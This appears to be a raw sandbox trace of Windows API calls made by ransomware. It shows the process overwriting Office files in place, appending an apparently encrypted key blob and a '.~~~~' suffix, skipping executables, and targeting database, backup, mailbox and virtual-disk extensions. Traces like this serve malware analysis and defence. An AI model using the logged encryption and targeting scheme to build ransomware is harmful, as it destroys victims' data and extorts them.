	[0080.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd8c8 | out: hHeap=0x300000) returned 1
	[0080.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.696] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.696] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.696] GetLastError () returned 0x0
	[0080.696] GetLastError () returned 0x0
	[0080.696] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.696] GetLastError () returned 0x0
	[0080.696] GetLastError () returned 0x0
	[0080.697] ReadFile (in: hFile=0x134, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.700] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.700] WriteFile (in: hFile=0x134, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0080.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0080.701] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.701] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.703] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.703] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.703] CloseHandle (hObject=0x134) returned 1
	[0080.704] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3faef0
	[0080.704] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.~~~~")) returned 1
	[0080.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3faef0 | out: hHeap=0x300000) returned 1
	[0080.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.704] GetLastError () returned 0x0
	[0080.704] RtlWakeConditionVariable () returned 0x365f70
	[0080.704] GetCurrentThreadId () returned 0xaf0
	[0080.705] GetCurrentThreadId () returned 0xaf0
	[0080.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801640
	[0080.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d158 | out: hHeap=0x300000) returned 1
	[0080.705] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bd60 | out: hHeap=0x300000) returned 1
	[0080.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2801728
	[0080.705] lstrlenW (lpString=".scr") returned 4
	[0080.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".scr") returned 0x0
	[0080.705] lstrlenW (lpString=".cmd") returned 4
	[0080.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".cmd") returned 0x0
	[0080.705] lstrlenW (lpString=".dll") returned 4
	[0080.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".dll") returned 0x0
	[0080.705] lstrlenW (lpString=".bat") returned 4
	[0080.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".bat") returned 0x0
	[0080.705] lstrlenW (lpString=".cpl") returned 4
	[0080.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".cpl") returned 0x0
	[0080.705] lstrlenW (lpString=".sys") returned 4
	[0080.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".sys") returned 0x0
	[0080.705] lstrlenW (lpString=".msc") returned 4
	[0080.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".msc") returned 0x0
	[0080.705] lstrlenW (lpString=".com") returned 4
	[0080.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".com") returned 0x0
	[0080.705] lstrlenW (lpString=".lnk") returned 4
	[0080.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".lnk") returned 0x0
	[0080.705] lstrlenW (lpString=".msp") returned 4
	[0080.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".msp") returned 0x0
	[0080.706] lstrlenW (lpString=".pif") returned 4
	[0080.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".pif") returned 0x0
	[0080.706] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch="msp\r\n.pif") returned 0x0
	[0080.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.748] lstrlenW (lpString=".sqb") returned 4
	[0080.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".sqb") returned 0x0
	[0080.748] lstrlenW (lpString=".ost") returned 4
	[0080.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".ost") returned 0x0
	[0080.760] lstrlenW (lpString=".txt") returned 4
	[0080.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".txt") returned 0x0
	[0080.760] lstrlenW (lpString=".mdt") returned 4
	[0080.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".mdt") returned 0x0
	[0080.760] lstrlenW (lpString=".BDB") returned 4
	[0080.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".BDB") returned 0x0
	[0080.760] lstrlenW (lpString=".eql") returned 4
	[0080.760] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".eql") returned 0x0
	[0080.760] lstrlenW (lpString=".DBF") returned 4
	[0080.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".DBF") returned 0x0
	[0080.770] lstrlenW (lpString=".EQL") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".EQL") returned 0x0
	[0080.770] lstrlenW (lpString=".FDB") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".FDB") returned 0x0
	[0080.770] lstrlenW (lpString=".EDB") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".EDB") returned 0x0
	[0080.770] lstrlenW (lpString=".DACPAC") returned 7
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".DACPAC") returned 0x0
	[0080.770] lstrlenW (lpString=".VHD") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".VHD") returned 0x0
	[0080.770] lstrlenW (lpString=".DBV") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".DBV") returned 0x0
	[0080.770] lstrlenW (lpString=".dacpac") returned 7
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".dacpac") returned 0x0
	[0080.770] lstrlenW (lpString=".sdf") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".sdf") returned 0x0
	[0080.770] lstrlenW (lpString=".accdb") returned 6
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".accdb") returned 0x0
	[0080.770] lstrlenW (lpString=".DBX") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".DBX") returned 0x0
	[0080.770] lstrlenW (lpString=".MDT") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".MDT") returned 0x0
	[0080.770] lstrlenW (lpString=".SQB") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".SQB") returned 0x0
	[0080.770] lstrlenW (lpString=".vhd") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".vhd") returned 0x0
	[0080.770] lstrlenW (lpString=".bac") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".bac") returned 0x0
	[0080.770] lstrlenW (lpString=".mdf") returned 4
	[0080.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".mdf") returned 0x0
	[0080.770] lstrlenW (lpString=".BAK") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".BAK") returned 0x0
	[0080.771] lstrlenW (lpString=".BAC") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".BAC") returned 0x0
	[0080.771] lstrlenW (lpString=".dbs") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".dbs") returned 0x0
	[0080.771] lstrlenW (lpString=".vhdx") returned 5
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".vhdx") returned 0x0
	[0080.771] lstrlenW (lpString=".NDF") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".NDF") returned 0x0
	[0080.771] lstrlenW (lpString=".dat") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".dat") returned 0x0
	[0080.771] lstrlenW (lpString=".DBS") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".DBS") returned 0x0
	[0080.771] lstrlenW (lpString=".CKP") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".CKP") returned 0x0
	[0080.771] lstrlenW (lpString=".edb") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".edb") returned 0x0
	[0080.771] lstrlenW (lpString=".PST") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".PST") returned 0x0
	[0080.771] lstrlenW (lpString=".dbf") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".dbf") returned 0x0
	[0080.771] lstrlenW (lpString=".SQL") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".SQL") returned 0x0
	[0080.771] lstrlenW (lpString=".pst") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".pst") returned 0x0
	[0080.771] lstrlenW (lpString=".dbv") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".dbv") returned 0x0
	[0080.771] lstrlenW (lpString=".SDF") returned 4
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".SDF") returned 0x0
	[0080.771] lstrlenW (lpString=".dtxs") returned 5
	[0080.771] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".dtxs") returned 0x0
	[0080.772] lstrlenW (lpString=".db3") returned 4
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".db3") returned 0x0
	[0080.772] lstrlenW (lpString=".OST") returned 4
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".OST") returned 0x0
	[0080.772] lstrlenW (lpString=".dbx") returned 4
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".dbx") returned 0x0
	[0080.772] lstrlenW (lpString=".DB3") returned 4
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".DB3") returned 0x0
	[0080.772] lstrlenW (lpString=".DAT") returned 4
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".DAT") returned 0x0
	[0080.772] lstrlenW (lpString=".VHDX") returned 5
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".VHDX") returned 0x0
	[0080.772] lstrlenW (lpString=".ndf") returned 4
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".ndf") returned 0x0
	[0080.772] lstrlenW (lpString=".DB") returned 3
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".DB") returned 0x0
	[0080.772] lstrlenW (lpString=".sql") returned 4
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".sql") returned 0x0
	[0080.772] lstrlenW (lpString=".MYD") returned 4
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".MYD") returned 0x0
	[0080.772] lstrlenW (lpString=".DBT") returned 4
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".DBT") returned 0x0
	[0080.772] lstrlenW (lpString=".ACCDB") returned 6
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".ACCDB") returned 0x0
	[0080.772] lstrlenW (lpString=".fdb") returned 4
	[0080.772] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".fdb") returned 0x0
	[0080.772] lstrlenW (lpString=".bak") returned 4
	[0080.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".bak") returned 0x0
	[0080.773] lstrlenW (lpString=".myd") returned 4
	[0080.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".myd") returned 0x0
	[0080.773] lstrlenW (lpString=".DTXS") returned 5
	[0080.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".DTXS") returned 0x0
	[0080.773] lstrlenW (lpString=".ckp") returned 4
	[0080.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".ckp") returned 0x0
	[0080.773] lstrlenW (lpString=".dbt") returned 4
	[0080.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".dbt") returned 0x0
	[0080.773] lstrlenW (lpString=".db") returned 3
	[0080.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".db") returned 0x0
	[0080.773] lstrlenW (lpString=".TXT") returned 4
	[0080.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".TXT") returned 0x0
	[0080.773] lstrlenW (lpString=".MDF") returned 4
	[0080.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".MDF") returned 0x0
	[0080.773] lstrlenW (lpString=".bdb") returned 4
	[0080.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".bdb") returned 0x0
	[0080.773] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804200
	[0080.773] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.773] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.774] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.774] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.774] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0080.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0080.774] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20076444145) returned 1
	[0080.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x99ffacb0, dwHighDateTime=0x1d60e1e)) 
	[0080.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0080.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0080.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0080.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280bdd0
	[0080.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bdd0 | out: hHeap=0x300000) returned 1
	[0080.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b14e8
	[0080.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.775] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.775] GetLastError () returned 0x0
	[0080.775] GetLastError () returned 0x0
	[0080.775] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.775] GetLastError () returned 0x0
	[0080.775] GetLastError () returned 0x0
	[0080.776] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x1f8fec0*=0x11644, lpOverlapped=0x0) returned 1
	[0080.798] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffee9bc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.798] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x11644, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x11644, lpOverlapped=0x0) returned 1
	[0080.799] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0080.801] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.801] WriteFile (in: hFile=0x134, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
